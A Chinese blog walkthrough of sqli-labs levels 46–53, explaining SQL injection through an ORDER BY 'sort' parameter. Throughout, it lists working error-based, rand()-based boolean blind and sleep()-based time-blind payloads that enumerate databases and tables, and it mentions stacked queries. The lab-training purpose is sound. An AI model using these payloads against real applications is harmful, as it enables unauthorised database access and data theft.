Less-46----Less-53

Less-46

进入到新的环节了,order by 后的注入,和之前的select有点不太一样,需了解进下面链接

order by排序注入原理

打开这一关可以看出和之前的不同,根据提示要输入sort字符

然后我们输入?sort=1,出现下面页面

常见注入虽然都是在用户id,帐号密码等地方进行注入,但有时也可能出现注入点在order by语句之后,因为这时的SQL语句是$sql="select * from users  order by $id"

那我们怎么判断其是否在order by后面,方法很简单,在参数sort后面加个asc(结果升序显示)、desc(结果降序显示),若是结果有变化就说明存在order by后的注入

接下来我们判断order by后面接的参数有没有影响,尝试注入:left(database(),1从左至右输出第一个字母和right(database(),1)从左至右输出第一个字母,发现结果没影响。说明后面参数随意,我们考虑布尔类型,此时我们可以用报错注入和延时注入

此处可以直接构造 ?sort= 后面的一个参数,我们可以有三种形式:

①直接在sort的参数里注入,?sort=(select ******)

②利用一些函数,例如rand()函数等  ?sort=rand(sql语句)  Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的

③利用and,例如?sort=1 and (加sql语句)

同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造

?sort=(select count(*) from (select concat_ws("^",(select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y)

?sort=rand(updatexml(1,concat(0x7e,(select database()),0x7e),1))

?sort=1 and updatexml (1,concat (0x7e, (select database()),0x7e),1)效果是一样的:

?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))

时间有明显的延迟,就不配图了......

可以看出这关方法很多,语句也有很多。

Less-47

基本与46关相同,就是order by '1',放点payload:

?sort=1' and if(length(database())=8  ,1,sleep(5))--+

?sort=1' and updatexml (1, concat(0x7e,database()) ,1) --+

?sort=1' and (select count(*) from (select concat_ws("^",(select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)y) --+

Less-48

与46关相似,但是这一关没有错误的回显,所以不能用报错注入

?sort=1 and 1=1 --+    ?sort=1 and 1=2 --+两个返回的页面一样,好像不能布尔盲注,

这里使用rand()函数来完成,先说原理:sort=rand(true)和sort=(false)出现的结果不同,基于这点就可以使用布尔型的盲注了

然后将rand()函数中的数值换成判断语句即可,放个爆字段的payload:

?sort=rand((select count(column_name) from information_schema.

columns where table_schema='security' and table_name='users')=3)

时间盲注也可:?sort=1 and if((length((select database()))=8),sleep(3),0) --+

Less-49

与47题相似但是没有报错回显,其他不再说了

Less-50

和46关思路一样,加了mysqli_multi_query()函数,还可以进行堆叠注入。

Less-51

除单引号闭合和50关基本都一样,报错、盲注、堆叠都可以

Less-52

和48关一样,盲注或堆叠。

Less-53

和49关一样,单引号闭合,时间盲注或堆叠。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容